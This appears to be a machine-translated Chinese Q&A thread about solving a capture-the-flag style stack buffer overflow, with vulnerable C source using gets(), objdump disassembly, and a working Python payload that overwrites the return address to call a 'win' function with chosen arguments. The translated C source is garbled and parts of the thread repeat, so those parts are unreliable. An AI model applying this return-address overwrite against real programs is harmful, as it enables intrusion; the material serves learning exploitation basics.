Gcc 缓冲区溢出:过度写入
我有一个易受缓冲区溢出攻击的程序。易受攻击的函数具有2个参数。第一个是标准的4字节。但是,对于第二种情况,程序执行以下操作:Gcc 缓冲区溢出:过度写入,gcc,assembly,x86,buffer-overflow,exploit,Gcc,Assembly,X86,Buffer Overflow,Exploit,我有一个易受缓冲区溢出攻击的程序。易受攻击的函数具有2个参数。第一个是标准的4字节。但是,对于第二种情况,程序执行以下操作: xor ch, 0 ... cmp dword ptr [ebp+10h], 0F00DB4BE 现在,如果我提供了两个不同的4字节参数,作为我的攻击的一部分,即ABCDEFGH假设ABCD是第一个参数,EFGH是第二个参数,CH变成了G。因此,我自然想到了制作以下假设ABCD是正确的: ABCD\x00\x0d\x00\x00 然而,发生的事情是,nullbu
xor ch, 0
...
cmp dword ptr [ebp+10h], 0F00DB4BE
现在,如果我提供了两个不同的4字节参数,作为我的攻击的一部分,即ABCDEFGH假设ABCD是第一个参数,EFGH是第二个参数,CH变成了G。因此,我自然想到了制作以下假设ABCD是正确的:
ABCD\x00\x0d\x00\x00
然而,发生的事情是,nullbutes似乎被忽略了!以CH=0和CL=0xd的形式发送上述结果。无论我将\x0d放在何处,都会发生这种情况,即:
ABCD\x0d\x00\x00\x00
ABCD\x00\x0d\x00\x00
ABCD\x00\x00\x0d\x00
ABCD\x00\x00\x00\x0d
所有这些都会产生相同的行为
如何继续只覆盖CH,而将ECX的其余部分保留为null
编辑:见下面我自己的答案。简短的版本是bash忽略空字节,它部分解释了为什么该漏洞不能在本地工作。确切的原因可以找到。感谢迈克尔·佩奇指出这一点
资料来源:
包括
包括
void winlong long arg1,int arg2
{
如果arg1!=0x14B4DA55 | | arg2!=0xF00DB4BE
{
有点恶心,但不完全是。;
出口1;
}
打印您赢了!\n;
}
虚空之神
{
char-buf[16];
打印输入某物>;
getsbuf;
打印您键入的%s!\n,buf;
}
int main
{
/*禁用标准输出上的缓冲*/
setvbufstdout,NULL,_IONBF,0;
瓦伦;
返回0;
}
objdump对可执行文件的反汇编的相关部分是:
080491c2 <win>:
80491c2: 55 push %ebp
80491c3: 89 e5 mov %esp,%ebp
80491c5: 81 ec 28 01 00 00 sub $0x128,%esp
80491cb: 8b 4d 08 mov 0x8(%ebp),%ecx
80491ce: 89 8d e0 fe ff ff mov %ecx,-0x120(%ebp)
80491d4: 8b 4d 0c mov 0xc(%ebp),%ecx
80491d7: 89 8d e4 fe ff ff mov %ecx,-0x11c(%ebp)
80491dd: 8b 8d e0 fe ff ff mov -0x120(%ebp),%ecx
80491e3: 81 f1 55 da b4 14 xor $0x14b4da55,%ecx
80491e9: 89 c8 mov %ecx,%eax
80491eb: 8b 8d e4 fe ff ff mov -0x11c(%ebp),%ecx
80491f1: 80 f5 00 xor $0x0,%ch
80491f4: 89 ca mov %ecx,%edx
80491f6: 09 d0 or %edx,%eax
80491f8: 85 c0 test %eax,%eax
80491fa: 75 09 jne 8049205 <win+0x43>
80491fc: 81 7d 10 be b4 0d f0 cmpl $0xf00db4be,0x10(%ebp)
8049203: 74 1a je 804921f <win+0x5d>
8049205: 83 ec 0c sub $0xc,%esp
8049208: 68 08 a0 04 08 push $0x804a008
804920d: e8 4e fe ff ff call 8049060 <puts@plt>
8049212: 83 c4 10 add $0x10,%esp
8049215: 83 ec 0c sub $0xc,%esp
8049218: 6a 01 push $0x1
804921a: e8 51 fe ff ff call 8049070 <exit@plt>
804921f: 83 ec 0c sub $0xc,%esp
8049222: 68 1e a0 04 08 push $0x804a01e
8049227: e8 34 fe ff ff call 8049060 <puts@plt>
804922c: 83 c4 10 add $0x10,%esp
804922f: 83 ec 08 sub $0x8,%esp
8049232: 68 27 a0 04 08 push $0x804a027
8049237: 68 29 a0 04 08 push $0x804a029
804923c: e8 5f fe ff ff call 80490a0 <fopen@plt>
8049241: 83 c4 10 add $0x10,%esp
8049244: 89 45 f4 mov %eax,-0xc(%ebp)
8049247: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
804924b: 75 12 jne 804925f <win+0x9d>
804924d: 83 ec 0c sub $0xc,%esp
8049250: 68 34 a0 04 08 push $0x804a034
8049255: e8 06 fe ff ff call 8049060 <puts@plt>
804925a: 83 c4 10 add $0x10,%esp
804925d: eb 31 jmp 8049290 <win+0xce>
804925f: 83 ec 04 sub $0x4,%esp
8049262: ff 75 f4 pushl -0xc(%ebp)
8049265: 68 00 01 00 00 push $0x100
804926a: 8d 85 f4 fe ff ff lea -0x10c(%ebp),%eax
8049270: 50 push %eax
8049271: e8 da fd ff ff call 8049050 <fgets@plt>
8049276: 83 c4 10 add $0x10,%esp
8049279: 83 ec 08 sub $0x8,%esp
804927c: 8d 85 f4 fe ff ff lea -0x10c(%ebp),%eax
8049282: 50 push %eax
8049283: 68 86 a0 04 08 push $0x804a086
8049288: e8 a3 fd ff ff call 8049030 <printf@plt>
804928d: 83 c4 10 add $0x10,%esp
8049290: 90 nop
8049291: c9 leave
8049292: c3 ret
08049293 <vuln>:
8049293: 55 push %ebp
8049294: 89 e5 mov %esp,%ebp
8049296: 83 ec 18 sub $0x18,%esp
8049299: 83 ec 0c sub $0xc,%esp
804929c: 68 90 a0 04 08 push $0x804a090
80492a1: e8 8a fd ff ff call 8049030 <printf@plt>
80492a6: 83 c4 10 add $0x10,%esp
80492a9: 83 ec 0c sub $0xc,%esp
80492ac: 8d 45 e8 lea -0x18(%ebp),%eax
80492af: 50 push %eax
80492b0: e8 8b fd ff ff call 8049040 <gets@plt>
80492b5: 83 c4 10 add $0x10,%esp
80492b8: 83 ec 08 sub $0x8,%esp
80492bb: 8d 45 e8 lea -0x18(%ebp),%eax
80492be: 50 push %eax
80492bf: 68 a0 a0 04 08 push $0x804a0a0
80492c4: e8 67 fd ff ff call 8049030 <printf@plt>
80492c9: 83 c4 10 add $0x10,%esp
80492cc: 90 nop
80492cd: c9 leave
80492ce: c3 ret
080492cf <main>:
80492cf: 8d 4c 24 04 lea 0x4(%esp),%ecx
80492d3: 83 e4 f0 and $0xfffffff0,%esp
80492d6: ff 71 fc pushl -0x4(%ecx)
80492d9: 55 push %ebp
80492da: 89 e5 mov %esp,%ebp
80492dc: 51 push %ecx
80492dd: 83 ec 04 sub $0x4,%esp
80492e0: a1 34 c0 04 08 mov 0x804c034,%eax
80492e5: 6a 00 push $0x0
80492e7: 6a 02 push $0x2
80492e9: 6a 00 push $0x0
80492eb: 50 push %eax
80492ec: e8 9f fd ff ff call 8049090 <setvbuf@plt>
80492f1: 83 c4 10 add $0x10,%esp
80492f4: e8 9a ff ff ff call 8049293 <vuln>
80492f9: b8 00 00 00 00 mov $0x0,%eax
80492fe: 8b 4d fc mov -0x4(%ebp),%ecx
8049301: c9 leave
8049302: 8d 61 fc lea -0x4(%ecx),%esp
8049305: c3 ret
不清楚为什么您会挂起ECX中的值或win函数中的xor ch,0指令。从C代码可以清楚地看出,win检查要求64位长的arg1为0x14B4DA55,arg2为0xF00DB4BE。当该条件满足时,它将打印您赢了 我们需要某种缓冲区利用,它能够执行win函数,并使它看起来像是被传递了一个64位长的第一个参数和一个32位int作为第二个参数 实现这一点最明显的方法是在vuln函数中溢出buf,策略性地覆盖返回地址,并将其替换为win地址。在分解后的输出中,win为0x080491c2。我们需要为返回地址写入0x080491c2,后跟一些伪值,后跟64位值0x14B4DA55,与0x0000000014B4DA55相同,后跟32位值0xF00DB4BE 需要返回地址的伪值,因为我们需要模拟堆栈上的函数调用。我们不会发出call指令,所以我们必须让它看起来像已经完成了一样。目标是印刷你赢!之后程序是否崩溃与此无关 返回地址win、arg1和arg2必须按相反顺序存储为字节,因为x86处理器是little endian 最后一个大问题是,我们需要输入多少字节才能使缓冲区溢出以到达返回地址?您可以使用反复试验的bruteforce来解决这个问题,但我们可以查看对gets调用的反汇编: 其中progname是可执行文件的名称。运行时,它应类似于:
注意:组成A和B之间的返回地址的4个字符不可打印,因此它们不会出现在控制台输出中,但它们与所有其他不可打印字符一样仍然存在。作为我自己问题的有限答案,特别是关于忽略空字节的原因: bash似乎忽略了空字节,这似乎是一个问题
我的许多其他同龄人在编写漏洞时也面临同样的问题。例如,当使用gdb时,它可以在服务器上工作,但不能在本地工作。Bash只会忽略空字节,因此\x55\xda\xb4\x14\x00\x00\x00\xbe\xb4\x0d\xf0将作为\x55\xda\xb4\x14\xbe\xb4\x0d\xf0读入。我仍然想不出它这样做的确切原因,但要记住这是一件好事 这里没有足够的上下文。我们需要看到更多的代码。当然,这不是xor ch,0,因为它对ch没有任何作用。是的,零可能会被忽略,或者可能会终止输入,这取决于它是如何传递到程序的以及它的处理方式。请发布所有的代码。我不知道vuln或win在何处或如何被调用。因此,我收集的是一个有效负载字符串,您可以输入该字符串,该字符串溢出buf,以便vuln返回win而不是返回tomain,并且看起来被传递值0x14B4DA55和0xF00DB4BE作为参数1和2。谢谢你展示了所有的代码。您可以发布objdump-dprogname的输出,其中progname是可执行文件的名称,而不是询问您正在使用的GCC/编译器的哪个版本?我提出这个问题的原因是,编译器和用于构建它们的选项之间的答案可能会有所不同。了解您生成的代码有助于开发漏洞。@MichaelPe
是的!!我不知道为什么我以前没有管理好它,这非常有效。我仍然不明白为什么只有ch是xored,然后ecx是用eax进行xored的,但这会产生0。我演示如何使用python管道数据的原因之一是为了避免在shell字符串中嵌入NUL字符的问题,特别是在使用bash时。你可能希望阅读这个答案:这是伟大的,基本上解释了它!这与您需要在大多数利用漏洞的有效负载中避免0字节的原因相同:该漏洞通常是strcpy或与以0结尾的C字符串一起工作的等效漏洞。带有显式长度内容的缓冲区溢出更为罕见。
80492ac: 8d 45 e8 lea -0x18(%ebp),%eax
80492af: 50 push %eax
80492b0: e8 8b fd ff ff call 8049040 <gets@plt
python -c 'print "A"*28+"\xc2\x91\x04\x08" \
+"B"*4+"\x55\xda\xb4\x14\x00\x00\x00\x00\xbe\xb4\x0d\xf0"' | ./progname
Type something>You typed AAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBUڴ!
You win!
Segmentation fault